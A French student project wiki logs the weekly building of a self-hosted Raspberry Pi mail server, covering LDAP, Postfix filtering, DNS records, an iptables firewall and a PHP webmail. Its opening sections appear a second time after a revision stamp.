Notre but étant la réalisation d'une messagerie électronique domestique capable de gérer une dizaine de boites aux lettres, nous nous orientons dans un premier temps sur les points suivants que nous allons éclaircir afin d'en tirer un cahier des charges.

Nous allons étudier et approfondir les points suivants :

* Installer une base LDAP, ou avoir plutôt avoir plusieurs comptes UNIX
* Installer un serveur de messagerie SMTP, et IMAP/POP
* Investiguer du côté de POSTFIX
* Étudier la taille d'un mail vide, et en moyenne, et voir combien ça fait par rapport au système
* Enquêter sur la forme des fichiers utilisateurs (généraliser les données)

Ce qui doit pouvoir être fait :
* Distinction administrateur / utilisateur
* Un administrateur doit pouvoir gérer les comptes de messagerie (addition/suppression/etc)
* Gestion des quotas/espace disque réservé par ex
* Choix du quota (par qui ? options ?)
* SECURISER : apache, mod_security, étudier l'utilisation d'un pare-feu logiciel ?

Prévision du Matériel :
* Raspberry Pi 2
* Alimentation RPi
* Carte SD (8Go)

Le module énergétique sera équipé des éléments suivants :
* 1 MPPT
* Convertisseur Numérique Analogique : MAX5250
* Potentiomètre : MCP4261
* Relai : R561D.56 NTE
* Résistances : Deux de 100Ω et deux de 10kΩ
* une LED
* 40 pins broches mâle/mâle (Digikey Parts : A26509-40-ND), découpé par la suite en 8-8-6-4
* Circuit d'alimentation autonome : cellule photovoltaique
* Circuit d'alimentation autonome : batterie (avec port micro-USB et port USB)

===Semaine 2 (28/09/2015)===

Dans un premier temps l'idée est de développer le système principal avec les fonctionnalités. Autrement dit les différents packages et fonctionnalités installées sur la raspberry ainsi que l'interface utilisateur sur le site web. Dans cette partie nous listerons les différentes fonctionnalités que nous aimerions implémenter.

☐ Serveur SMTP (communications entre serveurs mails SMPT) et serveur IMAP/POP3 (postier)
*Postfix pour SMTP
*Dovecot, Courier ou Cyrus pour IMAP/POP3
*Implémentation de protocoles plus complexes et offrant notamment des fonctionnalités de chiffrement (SMTPS / ESMTP / SSL / HTTPS / Certificat)
*LMTP

☐ Gestion particulière des gros mails et notamment de leurs pièces jointes
*Bigfile pour un stockage en ligne
*Décodage base 64 des pièces jointes ? (difficulté++)

☐ Gestion des utilisateurs
*Plusieurs comptes, en utilisant LDAP
*La possibilité de s'identifier en tant qu'administrateur

☐ Listes de diffusion

☐ Comptes mail temporaires (10 minutes mail like)

☐ Antivirus & Spam
*ClamAV ou SpamAssassin ou autres : lourd.
*iptables dans un premier temps.
*Antispam maison, gestion du contenu, marquage de spam par l'utilisateur, "boites intelligentes" de spams.

☐ Les noms de domaines sont peut être nécessaires dès le départ pour tester le fonctionnement des fonctionnalités (telnet qui dit nope ?)
*Record A
*Record MX

☐ Sauvegarde automatique périodique de la Raspberry Pi (pendant le développement, pour éviter de perdre les données)

Il faudra aussi prêter attention aux fonctionnalités disponibles sur l'interface et ne pas laisser des fonctionnalités fantômes issues d'un template générique que l'on a pu trouver sur l'Internet.

===Semaine 3 (05/10/2015)===
Nous avons précisé les éléments constituants l'interface web :
* Gestion des comptes (création, modification, suppression d'utilisateurs...)
* Gestion des listes de diffusions
* Gestion des quotas
* Affichage du courrier
* Gestion de l'antivirus

===Semaine 4 (12/10/2015)===
Nous avons mis en place un github pour suivre le développement : [https://github.com/biboon/pfe GitHub].

Nous commençons à visualiser la structure de notre serveur mail. Dans un premier temps nous constituons notre base de données. Finalement nous utiliserons bien LDAP, qui semble relativement simple à utiliser contrairement à notre première impression.

Nous avons utilisé [https://wiki.gandi.net/fr/hosting/using-linux/tutorials/debian/mail-server-ldap un tutoriel de Gandi] pour mettre en place la base de notre annuaire. Nous utiliserons les schemas disponibles dans le paquet courier-ldap. Nous avons écrit un script en perl permettant d'installer ce schema facilement, nous évitant d'avoir à réinstaller le paquet complet pour récupérer un unique fichier.

Il est important maintenant de changer les règles d'accès à la base de données. En effet la base de données est disponible pour n'importe qui, on peut y entrer avec la commande :
ldapsearch -c -h localhost -b dc=domain,dc=tld -x
Nous avons ici aussi écrit un script permettant de le faire automatiquement. A ce stade il est nécessaire de s'identifier en tant qu'administrateur pour voir l'arbre :
ldapsearch -c -h localhost -b dc=domain,dc=tld -D "cn=admin, dc=domain,dc=tld" -W

On peut dorénavant développer la structure de notre directory. Nous avons choisi de reprendre la base du tutoriel de Gandi et d'ajouter une entité mail qui regroupera tout les utilisateurs du serveur mail. Nous avons donc écrit un fichier <code>.ldif</code> décrivant cette structure et l'avons ajoutée avec la commande :
ldapadd -D "cn=admin,dc=domain,dc=tld" -W -h localhost -f ldif/mail_tree.ldif
On peut vérifier que la structure a bien été ajoutée à notre arbre avec la commande :
ldapsearch -D "cn=admin,dc=domain,dc=tld" -W -h localhost -b "dc=domain,dc=tld"

Maintenant, on peut ajouter nos utilisateurs à la base de données. Ici il est d'autant plus intéressant d'automatiser cette manipulation. Le principe est d'écrire un fichier <code>.ldif</code> et de l'ajouter de la même manière que précedemment avec <code>ldapadd</code>. Nous nous sommes inspirés ici encore du tutoriel de Gandi tout en l'adaptant. Le script perl <code>add_user.pl</code> simplifie grandement l'ajout d'un utilisateur. On pourra par la suite le modifier pour l'utiliser directement avec du code php.
On peut vérifier que l'utilisateur a bien été ajouté avec la commande habituelle <code>ldapsearch</code> et même tester l'identification avec :
ldapwhoami -vvv -h localhost -D "cn=username,dc=mail,dc=domain,dc=tld" -x -W
Si la commande renvoie <code>Result: Success (0)</code> alors l'identification a fonctionné.

La commande <code>ldapsearch</code> permet aussi de filtrer les recherches dans la base. Par exemple, avec notre configuration on peut afficher les utilisateurs avec la commande :
ldapsearch -D "cn=admin,dc=domain,dc=tld" -W -b "dc=mail,dc=domain,dc=tld" "(&(objectClass=CourierMailAccount))"
On peut aussi indiquer quels champs à afficher en les indiquant à la fin de cette commande.

===Semaine 5 (19/10/2015)===
==== DNS et SSL ====
Nous avons obtenu un nom de domaine auprès de Gandi pour notre projet. Le site est accessible à l'adresse : [https://intimail.pw intimail.pw]

nous avons configuré un serveur DNS et la certification SSL sur notre raspberry pi. Pour la démarche je vous renvoie à notre [http://projets-ima.plil.net/mediawiki/index.php?title=PRA2015_-_Configuration_des_commutateurs#Semaine_4 wiki] de TP de Protocoles Réseaux Avancés. La méthode est identique.

De la même manière que dans le TP de PRA, nous voulions implémenter DNSSEC. Cependant arrivé à la dernière étape, nous nous sommes rendu compte que Gandi ne propose pas cette fonctionnalité pour les .pw. Dans l'éventualité où les DNSSEC seraient implémentés au cours de notre projet, nous pourrons activer cette fonctionnalité rapidement.

La différence réside dans le fait que pour un serveur mail il faut un enregistrement de type MX. Dans le fichier de configuration des enregistrements de bind, nous avons ajouté les lignes :
@ IN MX 10 mail.intimail.pw.
mail IN A 193.48.57.171

De plus, un serveur mail doit pouvoir faire les résolutions inverses. En effet certains serveurs mail sont configurés pour rejeter ou retarder la livraison de mails provenant de serveurs dont la résolution inverse n'est pas effectuée. L'enregistrement PTR devient alors :
171 IN PTR mail.intimail.pw.

A ce stade, le serveur DNS devrait être correctement configuré et le SSL fonctionnel.

==== LDAP ====
Pour notre annuaire LDAP, nous avons utilisé les schémas proposés dans le package courier-ldap. Ces fichiers particuliers permettent à ldap de structurer sa base de données. Après différents essais et discussion, nous avons retenu la structure suivante :

[[Fichier:Pfe1516_09-ldap_directory.PNG|600px|thumb|center|LDAP directory structure]]

Nous avons regroupé la totalité de nos entrées sous une entité commune mail, celle ci se divisant ensuite en deux groupes people et groups. Le dc people regroupe les informations des utilisateurs, que l'on détaillera plus tard. Le dc groups permettra quant à lui regroupera les différentes listes de diffusion. Il contient aussi le groupe particulier des administrateurs qui permettra de donner des droits privilégiés à certains utilisateurs.

Pour ce qui est des informations des utilisateurs, voici un exemple de fichier de configuration pour l'utilisateur Jean Valjean :
dn: cn=jvaljean,dc=people,dc=mail,dc=intimail,dc=pw
uid: jvaljean
mail: jvaljean@intimail.pw
sn: Valjean
givenName: Jean
displayName: Jean Valjean
mailbox: intimail.pw/jvaljean/
homeDirectory: /home/vmail/
objectClass: top
objectClass: inetOrgPerson
objectClass: CourierMailAccount
userPassword: {SSHA}gCbVPaSGUaqjrq0mTQY77sOH4Xcq59Fg

Ces différentes informations ne sont pas définitives : certains champs peuvent peut être être retirés (comme le champ homeDirectory qui pour l'instant est commun et identique à tout les utilisateurs).

==== Web ====

Nous avons cherché un template léger, simple, mais néanmoins fonctionnel et agréable pour notre interface web. L'idée est, plutôt que de prendre un webmail classique dont nous n'utiliserions que 25 à 50% des capacités, de réaliser un webmail qui répond à toutes les exigences du cahier des charges et implémentant uniquement le nécessaire.
Il s'est avéré après recherches que l'une des meilleures solutions était de partir sur une interface codée en PHP (ce dernier implémente une API dédiée à LDAP), agrémentée de Bootstrap pour le JS/CSS.
Notre choix s'est finalement porté sur le template Lumino, que l'on peut [http://medialoot.com/preview/frame/lumino.html essayer par ici].

Après divers test, il s'avère qu'une page de cette interface met en moyenne pour charger totalement :
* 2,10s sur une connexion mobile 3G moyenne (4MB/s)
* 1,90s sur une connexion 4G moyenne (15MB/s)
* 2,80s sur une connexion DSL moyenne (2MB/s)
* 1,90s sur une connexion Wifi (30MB/s)
* 1,70s sur une connexion THD (100MB/s)
Résultats qui semble apporter bon compris poids/qualité de l'interface.

Nous avons alors déployé cette interface, dans un dossier /var/www/webmail/, puis ajouté le VirtualHost correspondant à notre site dans la configuration apache
Config à venir, quelqu'un a éteint tutur06, notre raspberry est donc off :(

===Semaine 6 (26/10/2015)===
==== Firewall ====
Etant donné que nous avons subi plusieurs tentatives de connexion SSH frauduleuses sur notre serveur, nous avons décidé de mettre en place un semblant de sécurité sur ce dernier. Nous avons donc écrit un petit script iptables simples pour filtrer les entrées. Celui ci se contente de bloquer tout les paquets entrant et de laisser passer les paquets par les ports ou nous avions vraiment besoin (ici SSH, HTTP, HTTPS, DNS, NTP, SMTP, POP3 et IMAP).
Après discussion, nous avons resserré davantage nos règles. Désormais le SSH n'est autorisé que pour des adresses ip spécifiées dans un fichier de liste blanche.

Nous avons aussi repéré dans le fichier /var/loh/auth.log plusieurs tentatives de connexions. Dans un premier temps nous avions cru à un problème de configuration de notre structure. Après avoir vérifié dans le log /var/log/syslog nous nous sommes aperçu qu'il s'agissait de connexions depuis des ip extérieures qui nous sont inconnues. Etant donné le nombre d'essais nous pensons que c'était une tentative d'intrusion sur le serveur SMTP par bruteforce. Comme première approche de contre-mesure nous avons pris le parti de constituer une liste noire. En effet ici nous n'avons pas le choix de laisser le port 25 (SMTP) ouvert. Pour cela nous avons utilisé les commandes :
cat /vat/log/syslog | grep SASL\ LOGIN\ authentication\ failed # Pour lister les messages de connexion échouées
sed -ne 's/.*\[$[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}$\].*/\1/p' # Pour n'afficher que les ip
*file* | sort | uniq # Pour classer et éliminer les doublons

On peut ensuite vérifier que les ip listées sont bien inconnues. Nous avons ainsi constitué une liste noire de 23 adresses ip.

==== Postfix ====
Nous avons installé l'agent de transfert de mail Postfix (<code>apt-get install postfix postfix-ldap</code>) sur la raspberry et configuré celui ci en accord avec notre base de données LDAP. Après un test d'envoi via telnet :
telnet ex 25
Trying xxx.xxx.xxx.xxx...
Connected to intimail.pw.
Escape character is '^]'.
220 mail.intimail.pw
ehlo intimail.pw
250-mail.intimail.pw
250-PIPELINING
250-SIZE 10240000
250-VRFY
250-ETRN
250-ENHANCEDSTATUSCODES
250-8BITMIME
250 DSN
MAIL FROM:toto(arobase)titi.com
250 2.1.0 Ok
RCPT TO:jvaljean(arobase)intimail.pw
250 2.1.5 Ok
DATA
354 End data with <CR><LF>.<CR><LF>
Subject: Premier Test
Here is my test
.
250 2.0.0 Ok: queued as 0EDFC21428
quit
221 2.0.0 Bye
Connection closed by foreign host.

Il est maintenant intéressant de tester notre DNS avec un outil en ligne. Nous avons ici utilisé l'excellent [http://www.dnsstuff.com dnsstuff] pour cela. C'est grâce à ce dernier que nous avons pu corriger les erreurs de notre serveur mail, à savoir :
*SMTP Greeting : Il permet de faire en sorte que le serveur mail est reconnu par les autres serveurs. Cela évite que certains serveurs ne refusent les mails provenant d'intimail.pw.
*Acceptance of abuse/postmaster : Les serveurs mails doivent avoir deux adresses abuse@... et postmaster@... . Nous avons donc créé ces deux boîtes mail pour répondre à ces conditions

==== Cyrus SASL ====

Nous avons implémenté l'authentification sur le serveur SMTP en SASL avec Cyrus. Après configuration, on peut maintenant envoyer des mail depuis notre serveur sur un serveur extérieur tel que gmail.

==== LDAP ====

Nous avons créé quelques utilisateurs LDAP pour peupler notre répertoire, contenant diverses informations utiles, afin de pouvoir commencer à implémenter une API d'authentification et réaliser divers essais sur l'interface web. Nous avons aussi ajouté un champ quota dans les informations des utilisateurs. A première vue ce champ pourra être utilisé avec le serveur IMAP et POP3. Cependant, afin d'éviter d'installer des services supplémentaires, nous choisissons de nous orienter dans une autre direction. Postfix nous permet à l'heure actuelle d'envoyer et recevoir des mails avec nos utilisateurs virtuels, et stocke chaque mail dans un fichier sur le système. L'interface web peut donc, sans Dovecot ou serveurs IMAP/POP3, parser par elle-même les mails reçus et préparer un envoi. Il nous faut, en prenant cette voie, réfléchir à l'implémentation des quotas, non gérés par PostFix. L'idée serait de lancer un script quand Postfix reçoit un mail, avant de le stocker sur le système, et de vérifier que la taille de ce mail + de ceux déjà reçu/envoyés par avant ne dépasse pas le quota attribué à un utilisateur, et rejeter le mail à l'expéditeur si on va dépasser alors le quota.

==== Web ====

Nous avons modifié le template de site web en accord avec nos objectifs. L'utilisateur doit d'abord se connecter avec ses identifiants LDAP (uid et mot de passe correspondant à son unique Distinguished Name (DN: cn=jvaljean,dc=people,dc=mail,dc=intimail,dc=pw). Une fois connecté, il tombe sur une interface que l'on pourrait appeler une "vue globale", réunissant les informations principales : le nombre de nouveaux mails, l'utilisation actuelle de son quota sur le disque, les quelques derniers mails reçus, et un calendrier afin de se repérer simplement niveau date.
Sur le côté, il est possible d'aller voir plus en détail l'inbox où se trouvent tous les mails reçus, ou encore aller voir les messages envoyés, et supprimer les courriels dans la poubelle. Si l'utilisateur est administrateur, il a aussi accès à un onglet "Manage" d'où il pourra prendre fonction de ses pleins pouvoirs. Cette dernière fonctionnalité n'étant pas encore implémentée, tout utilisateur voit pour l'instant cet onglet.

Toute la journée du mardi le code web a été réaménagé et modulé. Nous réfléchissons désormais au stockage et à la récupération de l'état instantané du quota mail (stocker cette valeur dans un fichier, ou en fait un attribut supplémentaire d'un utilisateur LDAP, où est d'ailleurs déjà stocké son quota max). L'idée est de ne pas trop solliciter le système et d'incrémenter ou décrémenter une variable à chaque réception/envoi de mail plutôt que recalculer entièrement la taille du dossier où sont les mails. On pourra en outre envisager de mettre en place une tâche périodique (via CRON) qui vérifiera en heures creuses que la taille du dossier mail est bien égale au quota en variable dans le système.

Par la suite il a été convenu de supprimer Apache et de le remplacer par le serveur web Lighttpd, plus léger et plus performant. Pour la configuration, on rajoute simplement un hôte au fichier /etc/lighttpd/lighttpd.conf auquel on fournit notamment le chemin d'accès aux fichiers du site, ou encore les clés pour SSL. Nous avons alors réinstallé PHP et nous l'avons reconfiguré et activé pour Lighttpd. Enfin, l'activation du mod_rewrite et la mise en place de règles différentes de celles d'Apache (qui font la même chose mais à la sauce Lighttpd) nous permettent de conclure cette migration en environ 25-30min (!).
Le mod_rewrite, un peu gadget nous l'avouons, permet chez nous de résoudre une URL de type www.domaine.com/page.php en écrivant simplement www.domaine.com/page. On atteint donc la page de connexion de notre webmail par [https://www.intimail.pw/login https://www.intimail.pw/login].
Nous avons en outre pu préciser la suite de notre projet. L'idée est d'avoir 2 ports sur lequel Postfix écoute (disons *:25 et localhost:10025). A réception d'un email sur *:25, postfix est configuré pour lancer un script que nous réalisons. Ce script vérifie le quota de l'utilisateur, si le mail reçu ne le dépasse pas il transfère alors le mail à localhost:10025 qui l'accepte et écrit le mail sur le disque de manière normale. Sinon, il renvoie un code d'erreur et le mail n'est pas accepté. De plus, le script mettra à jour un index dans un fichier propre à chaque utilisateur que le webmail lira. En somme, l'utilisation de fichiers quota et index évite à l'interface web de vérifier entièrement les dossiers et sous-dossiers mail à chaque actualisation de la page, ce qui créerait une charge énorme pour la Pi. On s'abstient en plus d'installer Dotecove/Un serveur IMAP/Un serveur POP grâce à notre webmail et nos scripts qui gèrent tout et uniquement ce dont nous avons besoin.
Notre architecture s'oriente donc sur les schémas suivants :

[[Fichier:Pfe1516_09-classicmail.PNG|600px|thumb|center|A classical mail server infrastructure]]
[[Fichier:Pfe1516_09-ourmail.PNG|600px|thumb|center|Our light mail server infrastructure]]

==== Scripting ====

Nous avons écrit un script perl pour envoyer des mails de manière automatique. Précisons que nous avons dû installer <code>libswitch-perl</code> pour pouvoir l'utiliser. Ce package devra être ajouté dans les dépendances lors de la constitution du fichier d'installation de notre outil.

===Semaine 7 (02/11/2015) - Architecture du système de fichiers ===

[[Fichier:Pfe1516_09-archi.PNG|600px|thumb|center|File system architecture]]

Notre système s'articule autour de 2 chemins distincts. A droite en rouge, l'architecture classique par défaut de postfix. Les mails reçus sont enregistrés par défaut dans un dossier par utilisateur et par domaine, dans le dossier new. A gauche notre architecture greffée, dans un sous dossier différent, par utilisateur et par domaine. Dans ces sous-dossiers, on distingue alors 2 dossiers et 1 fichier.
* Le fichier contient la valeur actuelle du quota de l'utilisateur. On préfère cette méthode plutôt que de faire calculer l'espace disque disponible dans un dossier par le système à chaque fois. On fera tourner un script, de nuit, périodiquement, pour vérifier que le quota correspond bel et bien à la valeur dans le fichier, pour éviter d'incrémenter/décrémenter une erreur.
* Un dossier mail, dans lequel sont stockés les mails envoyés
* Un dossier json, dans lequel sont stockés les conteneurs json, qui contiennent les en-têtes des mails envoyés, reçus, spams et poubelles. On accède donc à toutes les infos utiles au webmail en lisant ces json, plutôt que de lire à chaque fois tous les mails, ce qui serait extrêmement lourd et lent.

===Semaine 8 (09/11/2015) - Postfix et filtrage===
Nous avons établi une première version de notre script de traitement des mails arrivant sur le serveur. Nous nous sommes inspirés pour cela de la configuration proposée dans le [http://www.postfix.org/FILTER_README.html manuel] de Postfix. La configuration se fait via le fichier <code>master.cf</code>. Ce fichier permet de configurer tout les processus utilisés par Postfix pour fonctionner. Dans notre cas, il nous permet de déclarer un service de filtrage et d'indiquer au démon qui récupère les mails entrants (smtpd) de les transférer à ce service via un programme pipe. La configuration se fait de la manière suivante :

# ==========================================================================
# service type private unpriv chroot wakeup maxproc command + args
# (yes) (yes) (yes) (never) (100)
# ==========================================================================
smtp inet n - - - - smtpd
-o content_filter=filter
filter unix - n n - 5 pipe
flags=Rq user=vmail null_sender=
argv=/path/to/script $queue_id $size $sender $recipient

Nous avons décidé de suivre la même structure que dans le manuel de Postfix. C'est à dire que postfix fait appel à un script de filtrage principal, qui va lui même faire appel à d'autres scripts répondant à des besoins plus spécifiques. Pour l'instant, le script va parser certaines informations des mails entrant dans des fichier .json, qui servent de base de données. En voici un exemple :
[
{
"from": "michel.drucker@gmail.com",
"subject": "Vivement dimanche",
"timestamp": "2015-11-8 19:59:53",
"unixtimestamp": "1447012793",
"queueid": "48FE03FA87",
"filepath": "???",
"size": "1676",
"status": "0",
"pj": "0",
"id": "0",
"to": "jbond@intimail.pw"
}
]
Il serait également intéressant d'ajouter un champ permettant d'indiquer le chemin du fichier contenant le mail. Cependant au moment de l'exécution, même si nous avons accès au contenu du fichier, il est à priori impossible de connaître le nom définitif du fichier (il y a une part d'aléatoire). Ils serviront à l'affichage des mails dans les boîtes de réception dans le webmail. On pourra par la suite ajouter d'autres scripts permettant par exemple de vérifier la nature du message ou encore son contenu (Antivirus / Antispam / Pièces jointes).

Il est intéressant également de pointer ici que le fichier de configuration permet de préciser l'utilisateur qui va exécuter le script de filtrage. Ici nous avons mis <code>user=vmail</code>. Le script de filtrage s'exécutera donc en tant que vmail. Or pour l'interface, il faut qu'apache puisse accéder aux fichiers écrits par des processus de vmail. Pour les fichiers .json, écrits par le script de filtrage décrit plus haut, la solution du relativement simple. Il a suffit d'ajouter quelques commandes chmod pour autoriser la lecture et éventuellement l'écriture au groupe. Nous avons ensuite ajouté www-data au groupe vmail.

Quant aux fichiers contenant les mails, ceux ci sont écrits par postfix, et nous n'avons pour l'instant pas trouvé le moyen d'autoriser l'accès à ces fichiers par www-data. Ce problème, ainsi que la difficulté à récupérer le nom du fichier (décrit plus haut), nous pousse à nous demander si le délivrement des mails ne devrait pas être géré par un programme de notre confection, plutôt que le programme sendmail de postfix. En théorie, cette méthode répond parfaitement aux deux problèmes mais sendmail propose certainement une gestion plus aboutie que nous ne saurons reproduire dans un temps limité.

===Semaine 9 (16/11/2015)===
===Semaine 10 (23/11/2015)===
===Semaine 11 (30/11/2015)===

Nous avons travaillé sur le parser de mails et tentons d'implémenter notre architecture de fichiers.

D'autre part, nous avons travaillé l'interface web. Le contenu des tables affichant les en-tête des mails étant généré dynamiquement en fonction du fichier .json, il est impossible d'ajouter des balises <a href> pour rendre ces en-têtes cliquables pour afficher le contenu d'un mail.

La solution retenue et implémentée est d'utiliser un événement JavaScript. Pour une table avec un ''id'' table, on récupère l'en-tête cliquée à l'aide de la fonction JavaScript suivante :
$('#table').on('click-row.bs.table', function (e, row, $element) {
console.log(row, $element);
alert("L'utilisateur d'intimail a cliqué sur "+row);
});

On peut donc récupérer l'en-tête du fichier, plus spécifiquement le champ contenant le chemin vers le fichier mail brut. On pourra alors envoyer ce chemin dans une variable à l'aide d'une requête POST lancée dans la fonction ci-dessus avec AJAX, et être emmené vers une page qui traitera et affichera à l'utilisateur ce fichier mail brut.

===Semaine 12 (07/12/2015)===
==== Parseur pour les mails entrants ====
Comme nous l'avons dit à la semaine , nous avions rencontré un problème lors de la réception des mails. Pour resituer le problème : lors de la réception d'un mail, nous avons créé un hook pour postfix, qui s'exécute lors de la réception d'un email. La difficulté étant qu'au moment de cette exécution, les fichiers contenant les mails ne sont pas écrits dans le système de fichier, rendant impossible la récupération des noms de fichier. De plus, ces fichiers comportent les permissions 600 pour l'utilisateur et le groupe vmail:vmail.

La solution que nous proposons est de détacher le processus de parsing au moment de l'appel du script. De cette manière, le mail peut être délivré correctement et passe quand même dans le script de parsing, nous permettant ainsi de récupérer les mails et les informations critiques. On peut même en profiter pour appliquer les droits dont nous avons besoin. A priori, il suffirait juste d'autoriser le groupe vmail en lecture et d'ajouter www-data à ce groupe pour pouvoir afficher le contenu des mails dans l'interface Web. Résumons schématiquement le processus :
Un mail arrive
Le hook de postfix est exécuté
Le mail est envoyé via Sendmail --------------------------------------------------------------> Le mail est en attente de délivrement
Le script de parsing est lancé |
Le script vérifie dans les dossiers la présence du nouveau mail |
et réessaye un certain nombre de fois tant que tout les destinataires ne sont pas traités |
| v
| Le mail est délivré et existe dans le système de fichier
v |
Le script a trouvé le fichier et le traite <----------------------------------------------------
Fin

Nous avons aussi un peu réduit le contenu des éléments json en retirant le champ filepath. Les fichiers mails sont déplacés dans un dossier et renommés suivant le modèle <code>$unixtimestamp.$queueid</code>. Si nous rencontrons des collisions de noms (ce qui devrait théoriquement ne pas arriver) nous garderons les noms de fichier standard de postfix et restaurerons le champ <code>filepath</code>.

====Interface Web====
L'interface web progresse, et la page d'accueil est désormais totalement terminée et dynamique. Comme on peut le voir sur l'image ci-dessous, la nombre de mails dans la boite de réception, dans la poubelle, et le quota sont retrouvés et calculés dynamiquement, et ce en chargeant simplement les fichiers .json d'en-tête que nous avons crée, ce qui évite au système des calculs lourds. En outre le bouton "Write an email", présent dans la barre de navigation en haut mais aussi en gros sur la page d'accueil permet d'ouvrir une fenêtre pour écrire un email. L'envoi fonctionne parfaitement sur le réseau interne de l'école (nous devons encore passer la Raspberry sur un modem en dehors de Polytech pour éviter les foudres du CRI.), et ne devrait poser aucun problème une fois cette histoire de filtrage bypassée. Nous savons aussi envoyer des pièces-jointes, pour l'instant en dur pour la Proof of Concept, nous implémenterons bientot la possiblité à un utilisateur de téléverser son propre fichier (à taille raisonnable). Nous réflechissons au stockage de la PJ : serveur distant ?

[[Fichier:Pfe1516_09-homepage.PNG|1000px|thumb|center|Webmail Home Page]]

===Semaine 13 (14/12/2015)===
===Semaine 14 (04/01/2016)===
===Semaine 15 (11/01/2016)===
===Semaine 16 (18/01/2016)===
===Semaine 17 (25/01/2016)===
===Semaine 18 (01/02/2016)===
===Semaine 19 (08/02/2016)===
===Semaine 20 (15/02/2016)===
===Semaine 21 (22/02/2016)===

== Fichiers Rendus ==
Interface web : [https://intimail.pw intiMail.pw]

Rapport de Mi-Projet : [http://projets-imasc.plil.net/mediawiki/index.php?title=Fichier:P9_LIBAERT_TENEUR_DEC15.pdf ICI]

Rapport de Projet : [http:// Not Yet, Soon™]

P9 Système d'hébergement domestique

2015-12-15T07:30:20Z

Tteneur : /* Fichiers Rendus */

==Cahier des charges==
===Présentation générale du projet===
====Contexte====

Les gens font confiance à des organismes comme google pour gérer leurs courriels, voire pour les protéger. Il n'est pas évident que leur confiance soit bien placée. Ce projet doit permettre à tout utilisateur de créer quelques comptes de messagerie sur une système embarqué de type raspberry et permettre de conserver les données à la maison.

Le système doit être constitué à base de standards (base LDAP, serveur de messagerie connu et maintenu, client de messagerie idem). L'interface d'administration doit être elle aussi très simple d'utilisation.

Un effort particulier doit être porté sur l'alimentation du système embarqué. L'idéal serait un mode de veille lorsqu'aucun paquet TCP/IP n'est adressé à la machine. Il est aussi demandé de mettre au point une alimentation à base d'énergie renouvelable (e.g. panneau solaire) permettant d'alimenter totalement ou partiellement le système. Enfin pour permettre de se passer de la box grande consommatrice d'énergie, le système embarqué doit pouvoir en reprendre les fonctionnalités principale (connexion avec le DSLAM, redirection des ports UDP/TCP, ...).

====Objectif du projet====

L'objectif est de réaliser un système embarqué avec une alimentation autonome pour héberger une messagerie électronique domestique. Par domestique, il faut comprendre pour une dizaine de boites aux lettres. En outre, le système devra pouvoir être alimenté par un panneau solaire ou, le cas échéant, prendre relai sur le secteur lorsque l'alimentation fournie par le soleil n'est plus suffisante.

====Description du projet====
====Choix techniques : matériel et logiciel====
Matériel obtenu à ce jour :
* 1 Raspberry Pi 2 [obtenue le 07/10/2015]
* 1 Carte µSD 8 GB [obtenue le 07/10/2015]
* 1 Cable USB/µUSB [obtenu le 07/10/2015]
* 1 Câble RJ45 [obtenu le 07/10/2015]

==Suivi de l'avancement du Projet==
===Semaine 1 (21/09/2015)===

Notre but étant la réalisation d'une messagerie électronique domestique capable de gérer une dizaine de boites aux lettres, nous nous orientons dans un premier temps sur les points suivants que nous allons éclaircir afin d'en tirer un cahier des charges.

Nous allons étudier et approfondir les points suivants :

* Installer une base LDAP, ou avoir plutôt avoir plusieurs comptes UNIX
* Installer un serveur de messagerie SMTP, et IMAP/POP
* Investiguer du côté de POSTFIX
* Étudier la taille d'un mail vide, et en moyenne, et voir combien ça fait par rapport au système
* Enquêter sur la forme des fichiers utilisateurs (généraliser les données)

Ce qui doit pouvoir être fait :
* Distinction administrateur / utilisateur
* Un administrateur doit pouvoir gérer les comptes de messagerie (addition/suppression/etc)
* Gestion des quotas/espace disque réservé par ex
* Choix du quota (par qui ? options ?)
* SECURISER : apache, mod_security, étudier l'utilisation d'un pare-feu logiciel ?

Prévision du Matériel :
* Raspberry Pi 2
* Alimentation RPi
* Carte SD (8Go)

Le module énergétique sera équipé des éléments suivants :
* 1 MPPT
* Convertisseur Numérique Analogique : MAX5250
* Potentiomètre : MCP4261
* Relai : R561D.56 NTE
* Résistances : Deux de 100Ω et deux de 10kΩ
* une LED
* 40 pins broches mâle/mâle (Digikey Parts : A26509-40-ND), découpé par la suite en 8-8-6-4
* Circuit d'alimentation autonome : cellule photovoltaique
* Circuit d'alimentation autonome : batterie (avec port micro-USB et port USB)

===Semaine 2 (28/09/2015)===

Dans un premier temps l'idée est de développer le système principal avec les fonctionnalités. Autrement dit les différents packages et fonctionnalités installées sur la raspberry ainsi que l'interface utilisateur sur le site web. Dans cette partie nous listerons les différentes fonctionnalités que nous aimerions implémenter.

☐ Serveur SMTP (communications entre serveurs mails SMPT) et serveur IMAP/POP3 (postier)
*Postfix pour SMTP
*Dovecot, Courier ou Cyrus pour IMAP/POP3
*Implémentation de protocoles plus complexes et offrant notamment des fonctionnalités de chiffrement (SMTPS / ESMTP / SSL / HTTPS / Certificat)
*LMTP

☐ Gestion particulière des gros mails et notamment de leurs pièces jointes
*Bigfile pour un stockage en ligne
*Décodage base 64 des pièces jointes ? (difficulté++)

☐ Gestion des utilisateurs
*Plusieurs comptes, en utilisant LDAP
*La possibilité de s'identifier en tant qu'administrateur

☐ Listes de diffusion

☐ Comptes mail temporaires (10 minutes mail like)

☐ Antivirus & Spam
*ClamAV ou SpamAssassin ou autres : lourd.
*iptables dans un premier temps.
*Antispam maison, gestion du contenu, marquage de spam par l'utilisateur, "boites intelligentes" de spams.

☐ Les noms de domaines sont peut être nécessaires dès le départ pour tester le fonctionnement des fonctionnalités (telnet qui dit nope ?)
*Record A
*Record MX

☐ Sauvegarde automatique périodique de la Raspberry Pi (pendant le développement, pour éviter de perdre les données)

Il faudra aussi prêter attention aux fonctionnalités disponibles sur l'interface et ne pas laisser des fonctionnalités fantômes issues d'un template générique que l'on a pu trouver sur l'Internet.

===Semaine 3 (05/10/2015)===
Nous avons précisé les éléments constituants l'interface web :
* Gestion des comptes (création, modification, suppression d'utilisateurs...)
* Gestion des listes de diffusions
* Gestion des quotas
* Affichage du courrier
* Gestion de l'antivirus

===Semaine 4 (12/10/2015)===
Nous avons mis en place un github pour suivre le développement : [https://github.com/biboon/pfe GitHub].

Nous commençons à visualiser la structure de notre serveur mail. Dans un premier temps nous constituons notre base de données. Finalement nous utiliserons bien LDAP, qui semble relativement simple à utiliser contrairement à notre première impression.

